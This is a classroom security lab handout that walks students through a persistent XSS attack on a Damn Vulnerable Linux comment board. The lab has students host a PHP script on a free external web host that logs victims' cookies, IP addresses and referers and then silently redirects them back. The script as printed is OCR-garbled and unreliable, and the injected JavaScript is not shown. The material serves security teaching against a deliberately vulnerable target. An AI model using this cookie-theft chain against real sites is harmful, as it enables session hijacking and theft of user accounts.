
Project 15: Stealing Cookies with Persistent XSS
20 points

What You Need for This Project
· A Damn Vulnerable Linux 1.0 or 1.1 ISO file (Put it in the MoreVMs:\Install folder in S214) .  You cannot use the latest version, DVL 1.4.
· Any virtual machine

· Another machine to use as the VMware host.  The instructions below assume you are using a Vista host.
Booting a Virtual Machine from the DVL ISO
1. Click Start, "All Programs", VMmanager, VMmanager.

2. In the VMmanager window, click "Modify an existing virtual machine".
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Navigate to any of your virtual machines, such as the Hacme one.

4. In the VMmanager window, click the Drives tab.  In the CD-ROM section, select "use ISO image".  In the Open box, navigate to the MoreVMs drive.  Double-click the Install folder.  Double-click the damnvulnerablelinux_1.0.iso file.

5. On the Adapters tab, disable the USB and sound adapters, as shown to the right on this page.

6. In the VMmanager window, click the Finish tab.  Click OK.  In the VM Manager box, click OK.
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Launch VMware Player and start your virtual machine.  If necessary, press F2 during bootup and set the BIOS to boot from the CD-ROM.
8. At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

Starting the DVL Apache Web Server

9. Right click the DVL desktop.  From the context menu, click  DVL, "Web & Database", Apache, start, as shown to the right on this page.

Finding the DVL Apache Web Server's IP Address
10. On the DVL desktop, click the "ATerminal" icon.  In the Terminal window, type this command, and then press the Enter key:
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ifconfig
11. Find the IP address and write it on the box to the right on this page.

Viewing the DVL-Hosted Web Site from the Host Machine

12. On the Vista host machine, open a Web browser.  In the Address bar, type the Web Server IP you wrote in a box on the previous page.  Press the Enter key.
13. You see an Index of / page.  Click the lesson004 link.

14. A list of files appears.  Click the index.php link.

15. A Comment form appears, tiled "Lesson 4: XSS (Cross Site Scripting) Attack".   
Setting a Cookie
16. If this were a real Web 2.0 site, such as an online forum, the user would have logged in and a cookie would have been set with their credentials in it.  To simulate that, we'll set a cookie.
17. Type in the Name and Script shown below, and then click the "Add Comment" button.
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18. [image: image6.wmf]You should see the popup box shown to the right on this page, showing the cookie value.  
Capturing a Screen Image
19. Make sure the Alert box is visible, showing this line: "Login=SecretCode".

20. Press Ctrl+Alt to release the mouse from the virtual machine.

21. Press the PrintScrn key in the upper-right portion of the keyboard.  

22. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

23. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15a. 

Getting a T35 Website
24. On the Vista host machine, open a browser and go to t35.com
25. Click "Sign up".
26. An agreement appears.  On the lower left of the page, click Accept.

27. In the STEP 2 of 4 page, fill in the form.  You need to give it an email address you can receive mail at.  Then click "Proceed to the Next Page".

28. In the STEP 3 of 4 page, on the lower right, click the blue "No Thanks" link.

29. Read the email at the account you specified.  You should have a message with the subject "T35 Free Hosting - Validation eMail".  It may be in your Spam folder.  Click the activation link in that message.
30. At t35.com, sign in with your name and password.
Writing a Cookie-Stealing PHP Script
31. The script we will use does these things:

· When a user sends an HTTP GET request to this script, it will collect the cookie from their machine

· It will also harvest two other values: the IP address and the referring URL

· It will save this information in a file named cookies.html on the T35 server

· It will then return to the original DVL page, so that the user has no idea that anything unusual has happened

32. Open Notepad and type in the script shown below on this page.  Change the IP address in the third-from-last line to be the IP address of your DVL virtual machine.
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33. Save the file as stealcookie.php and be careful to select a File Type of "All Files" to prevent Notepad from attaching a .txt extension.
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Uploading the Script to the T35 Web Server
34. On the Vista host machine, in your T35 Hosting page, click the Java Upload button, as shown to the right on this page.
35. A Java applet loads.  In the Files section, click the Browse button.  Navigate to your stealcookie.php file and double-click it.  Then click the green check mark icon.
36. Type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 

Replace yourlogin with your own T35 account login name.  
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<?phE
$cookie = §_GET['c'];
$ip etenv ('REMOTE_ADDR');
$date = date("j F, Y, g:i a");;
Sreferer = getenv ('HTTP_REFERER’
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.Scookie.'<br> IP:

'<br> Date and Time: ' .S$date

. '<br> Referer: ' .Sreferer);

fclose(§Fp);
header ("Location: http://192.168.1.106/Tesson004/index.php");
7>
<HTML></HTML>

.sip




You should see an "Index of /" page, showing the filename stealcookie.php, as shown to the right on this page.
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Capturing a Screen Image
38. Make sure the "Index of /" page is visible, showing your own T35 account name in the URL, NOT my demonstration account of samccsf.  
39. Press the PrintScrn key in the upper-right portion of the keyboard.  

40. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

41. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15b. 
Testing the Cookie Stealing Script
42. On the Vista host machine, open another Web browser window.  Type this address into the Address field in your browser, as shown below on this page, and then press the Enter key:

yourlogin.t35.com/stealcookie.php?c=test123
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Lesson 4: XSS (Cross Site Scripting) Attack

Cross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web
applications on all platforms, and PHP applications are certainly no exception.

Rulez: This one is exploitable by a XSS (Cross Site Scripting) Attack.
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Replace yourlogin with your own T35 account login name.  This sends a cookie value of test123 to the script.
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43. If the PHP script is working correctly, your browser will forward to the DVL Lesson 4, as shown to the right on this page.

44. If you made any errors typing in the script, you will see an error message telling you which line has a problem.  Fix those problems and don't proceed to the next section until the PHP script is working.

Viewing the Captured Test Data
45. On the Vista host machine, type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 
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Replace yourlogin with your own T35 account login name.  

46. You should see an "Index of /" page, showing two files" stealcookie.php and cookies.html.

47. Click cookies.html.  You should see the captured data, showing Cookie: test123, as shown to the right on this page.

Capturing a Screen Image
48. Make sure the captured data is visible, showing "Cookie: test123".

49. Press the PrintScrn key in the upper-right portion of the keyboard.  

50. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

51. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15c. 

Using XSS to Set a Trap on the DVL Message Board
52. On the Vista host machine, open a Web browser.  In the Address bar, type the Web Server IP you wrote in a box on the previous page.  Press the Enter key.

53. You see an Index of / page.  Click the lesson004 link.

54. A list of files appears.  Click the index.php link.

55. A Comment form appears, tiled "Lesson 4: XSS (Cross Site Scripting) Attack".   

56. Type in the Name and Script shown below, and then click the "Add Comment" button.  The line starting document.location is too long to fit on a single line, but don't break it with the Enter key—just let it wrap naturally.  Replace yourid with your own T35 account name.

57. Click the "Add Comment" button.  Nothing obvious should happen—it just returns to the comment screen.  But it has stolen your cookie!

Viewing the Stolen Cookie
58. On the Vista host machine, type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 

Replace yourlogin with your own T35 account login name.  

59. In the "Index of /" page, click cookies.html.

60. You should see the captured data, showing Cookie: Login=SecretCode, as shown to the right on this page.

Capturing a Screen Image
61. Make sure the stolen cookie is visible, showing this line: "Login=SecretCode".

62. Press the PrintScrn key in the upper-right portion of the keyboard.  

63. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

64. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15d. 

Turning in Your Project
65. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 15 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://xssworm.blogvis.com/42/xssworm/website-hacking-with-xss-full-disclosure/
http://www.elated.com/articles/javascript-and-cookies/
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Web Server IP: _______________________
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